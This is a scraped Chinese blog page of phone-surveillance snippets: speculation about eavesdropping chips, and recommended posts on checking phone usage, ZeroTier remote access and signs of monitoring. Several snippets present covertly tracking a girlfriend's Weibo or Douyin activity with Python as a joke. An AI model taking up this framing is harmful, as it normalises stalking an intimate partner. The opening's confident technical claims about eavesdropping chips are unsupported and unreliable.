有一种简易的方式，成本较低，技术并不高明。很有可能是运用了对讲机原理，手机在窃听时需要考虑窃听距离，这不用问，一定是复制了无线对讲机的工作原理，把对讲功能集成在那个小小的芯片当中了。首先来说说黑客入侵究竟有多可怕，此前美国国家安全局和联邦调查局的监控美国公民电子邮件、聊天记录、视频、通讯和照片等秘密资料事件传的沸沸扬扬，虽然美国方面极力否认但是这些行为是真实可以发生的事。黑客掌握这方面的技术就可以很轻易的入侵用户的手机对用户实施全方位的监控窃听。如果目前黑客制造的芯片能够通过GSM或CDMA网络进行窃听，那
android监控手机使用次数,原来手机还自带监控功能，手机使用记录一清二楚，赖也赖不掉...
weixin_32809369的博客
05-27 10000
原标题：原来手机还自带监控功能，手机使用记录一清二楚，赖也赖不掉现如今，手机已经变成我们生活的必需品之一了，每天花在手机上的时间也越来越多，自己都不知道时间花去哪儿了。有的时候借了手机给朋友用，是否也曾好奇朋友都用你的手机做了什么？今天偷偷来告诉你手机的隐藏监控功能，手机使用记录一览无遗！ 一、苹果手机看使用记录首先我们来看下苹果手机怎么查询自己的使用记录，苹果iOS12更新之后，出了一个特殊的功...
Python使用Scrapy爬取妹子图
09-22
前面我们给大家介绍了使用nodejs来爬取妹纸图片的方法，下面我们来看下使用Python是如何实现的呢，有需要的小伙伴参考下吧。
妹子教你装机 2021组装电脑装机教程.docx
09-27
妹子教你装机 2021组装电脑装机教程.docx
女友老背着我玩手机，感觉要被绿啊！吓得我赶紧写了个Python监控她的微博！
weixin_52994140的博客
08-28 603
由来 最近下班回到家，女朋友都坐在沙发上玩手机，我习惯的坐她旁边，头枕着她的腿，借此来休息一下。然后发现她边看边笑，于是就问到，你刷到啥了，这么好笑给我看看，她立马就说：没有，就是刷了两下微博。以前她关注的小哥哥的微博还是挺多的。所以后面我就用我的账号去看了一下，没想到我居然被拉黑了，那么我忍不了！ 抓到证据了就直接提分手，居然想绿我，我连夜就写了个监控她的微博脚本！24小时监控，就不信抓不到！ 工具 今天要用到的工具 Python版本：3.6.4 相关模块： ...
最近女朋友天天沉迷刷抖音！还不给我看！Python监控一下她的抖音！
爬遍所有网站
06-21 825
最近发现抖音有一个新功能，可以显示抖音的在线状态，如下图所示： 于是我突发奇想，决定用python监控一下某位好友的在线状态，没想到还有意外的收获。 本次监控主要用到python的appium库，关于appium的使用和安装，网站有很多教程，但是我一个都没试成功过，于是我一咬牙自己做了一套，教程在文末，不成功过来找我！！！ 首先用appium客户端打开抖音，配置如下： { "platformName": "Android", "deviceName": "VOG-AL00", .
程序员如何知道女朋友有没有偷看手机？
学习笔记
01-14 8808
今天主要是想介绍一个很好用功能很强大的软件，可以自定义来做很多事情。先想个问题，你是否遇到过以下的场景： 想搞清楚女朋友是否偷看过你的手机？ 电话放在哪里找不到了？并且还设置为静音了？ 希望回到家的时候，手机自动打开WiFi自动连接上，并且还自动打开某个视频APP？ 。。。 看了今天的软件介绍，以上都可以做到。并且以上都是皮毛，这个APP还可以做到更多。它就是autumate。 aut
分分钟穿透手机，实现远程控制
androidstudyroom的博客
10-14 1万+
不过在文末我也说了，正在调研技术方案，争取突破局域网的限制，总算不负大家的期望，折腾了几天，终于成功了！Android版本的zerotier暂时不要用官方提供的了。2、点击zerotier图标，选择“Join New Network”，如下图所示，然后输入在Zerotier平台所创建的网络的NETWORK ID。点击创建的网络小卡片，就能看到具体信息了:如加入的网络名称及Id，分配给手机的IP地址等，如下图所示。简单说一下优点：免费不限流量，使用简单，支持主流系统，最最重要的一点是支持自定义的服务器节点。
手机是否已被他人监控了？如果出现这3种现象，大家还是小心点
song970713的博客
09-04 7840
手机是否已被他人监控了？如果出现这3种现象，大家还是小心点 手机这件商品已经成为了，大家日常生活中的必需品，我们与手机几乎是形影不离的存在，那么大家在使用手机时要注意了，手机是否被他人监控，我们要观察手机是否出现这3种现象，如果出现了，大家还是小心点为好。 现象一：手机变得异常卡顿 手机造成被监控的多数原因是手机内，存在着与监控相关联的第三方应用，这些程序一般都是用户们从浏览器或者其它途径进行获取...
Python课程设计 课设 手写数字识别卷积神经网络源码+文档说明.zip
最新发布
04-24
高分设计源码，详情请查看资源内容中使用说明 高分设计源码，详情请查看资源内容中使用说明高分设计源码，详情请查看资源内容中使用说明高分设计源码，详情请查看资源内容中使用说明高分设计源码，详情请查看资源内容中使用说明高分设计源码，详情请查看资源内容中使用说明高分设计源码，详情请查看资源内容中使用说明高分设计源码，详情请查看资源内容中使用说明高分设计源码，详情请查看资源内容中使用说明高分设计源码，详情请查看资源内容中使用说明高分设计源码，详情请查看资源内容中使用说明高分设计源码，详情请查看资源内容中使用说明高分设计源码，详情请查看资源内容中使用说明高分设计源码，详情请查看资源内容中使用说明高分设计源码，详情请查看资源内容中使用说明高分设计源码，详情请查看资源内容中使用说明高分设计源码，详情请查看资源内容中使用说明高分设计源码，详情请查看资源内容中使用说明高分设计源码，详情请查看资源内容中使用说明高分设计源码，详情请查看资源内容中使用说明高分设计源码，详情请查看资源内容中使用说明高分设计源码，详情请查看资源内容中使用说明
GAN对抗生成神经网络训练生成二次元妹子
04-30
GAN（Generative Adversarial Networks）是一种生成式深度学习算法，其可以在训练过程中从数据中学习并生成新的数据。在生成二次元妹子的应用中，GAN可以学习从现有的二次元妹子图像中提取特征，并生成与其相似但是不同的新图像。 具体来说，GAN通过两个神经网络共同学习：一个生成器网络和一个判别器网络。生成器网络负责生成新的二次元妹子图像，而判别器网络则负责判断这些图像是否真实。在训练过程中，生成器网络会不断地生成新的图像，并将其传递给判别器网络进行评估。判别器网络会根据自己的经验来评估这些图像的真实性，并将其反馈给生成器网络。生成器网络会根据判别器网络的反馈来调整自己的生成策略，从而生成更加逼真的二次元妹子图像。 需要注意的是，GAN的训练过程非常复杂，需要耗费大量的计算资源和时间。此外，GAN也容易出现训练不稳定的情况，导致生成的图像质量不佳。因此，在使用GAN生成二次元妹子图像时，需要慎重考虑其实际应用场景和成本效益。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值